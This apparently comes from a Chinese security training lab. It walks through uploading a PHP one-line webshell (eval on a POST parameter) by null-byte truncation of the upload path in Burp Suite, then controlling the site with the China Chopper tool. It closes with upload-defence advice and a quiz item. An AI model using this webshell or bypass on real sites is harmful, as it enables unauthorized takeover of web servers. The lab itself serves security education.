实验目的
- 了解空字节截断的原理及其利用方法
- 掌握Burp Suite改包方法
实验工具
Burp Suite
:是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP 消息,持久性,认证,代理,日志,警报的一个强大的可扩展的框架,本次试验主要用到它的抓包改包功能
实验内容
实验步骤
步骤1:上传正常图片和WEBShell
快速查找实验工具
- 打开桌面
Everything
搜索工具,输入实验工具名称,右击选择“打开路径”,跳转实验工具所在位置。 - 以查找
BURP
为例为大家演示。
准备一张普通的图片,使用*.jpg
在电脑上进行搜索,可以看到很多图片,复制一张图片放到桌面上,改名为tupian.jpg
。
打开目标网站,选取上传图片,点击上传。
上传成功后,观察返回的页面信息。
可以看到,系统会返回上传成功的信息。
接下来我们尝试上传一句话木马,一句话木马是一种常见的网站后门,短小精悍,而且功能强大,隐蔽性非常好,在渗透测试过程中始终扮演着强大的作用。
首先新建php文件,并写入如下内容:
<?php eval($_POST['1']); ?>
上传PHP文件,发现提示错误,得出结论:PHP文件被禁止上传。
步骤2:截断目录绕过上传检测
接下来尝试绕过显示,首先打开BurpLoader,选择 Proxy
->Options
,设置BurpLoader代理地址,默认为127.0.0.1
、端口:8080
。
接着修改IE的代理设置,修改代理地址以及端口(设置与在BurpLoader中设置的代理地址相同:127.0.0.1
、端口:8080
)。
不同浏览器设置代理的方法不相同, 此处我们以IE浏览器为例,首先点击右上角的工具
-internet选项
->连接
->局域网设置
->代理服务器
勾选并设置。
我们再打开BurpLoader抓包,进行截断浏览器给服务器发送的数据包,Proxy
->Intercept
点击 intercept off
改为intercept on
,截断的数据包将在关闭抓包的时候发送给服务端。
点击上传抓到包之后,可以看到,filename
后面即是我们当前上传的路径,uploading
则是保存在服务器上的地址。
现在我们将uploadimg
改为uploadimg/1.php .jpg
,接着我们来到 Proxy
->intercept
->Hex
找到1.php .jpg
这个被修改过的代码,找到同一行的数字20
,改为00
按一下回车,返回。
**注意 :**20(空格字符的16进制)改成00(截断字符的16进制)这样以来。截断字符后面的都会被截断,也就是忽略掉了,所以uploadimg/1.php .jpg
就变成了uploadimg/1.php
达到了我们上传PHP文件的目的。
返回Raw,看到uploadimg/1.php .jpg
变成uploadimg/1.php□.jpg
,原本的文件服务器保存路径从uploadimg/yijuhua.jpg
变为uploadimg/1.php
。
关闭抓包(点击intercept on
->intercept off
),上传数据。
可以看到上传成功,地址为uploading/1.php。
步骤3:获取WEBShell权限
首先打开中国菜刀
软件并填入复制的访问地址,填入你设定的密码,之前我们在“一句话”中设置的密码是1
,选择脚本类型为PHP
,单击添加
按钮,就会看到菜刀上出现一行信息,最后我们双击这条信息后,就可以看到目标网站的目录,这样我们就成功获取到目标网站的WEBShell权限。
最终获取了 Webshell
实验结果总结与思考
本次实验我们学习了如何使用Burp Suite抓包,并利用00截断绕过上传限制,成功上传一句话木马,获取了网站的Webshell。
防御方案
1.客户端检测,使用JS对上传图片检测,包括文件大小、文件扩展名、文件类型等
2.服务端检测,对文件大小、文件路径、文件扩展名、文件类型、文件内容检测,对文件重命名
3.其他限制,服务器端上传目录设置不可执行权限
第1题:二进制中特殊截断字符为以下哪个?
%0A
%00
%20
%B0
b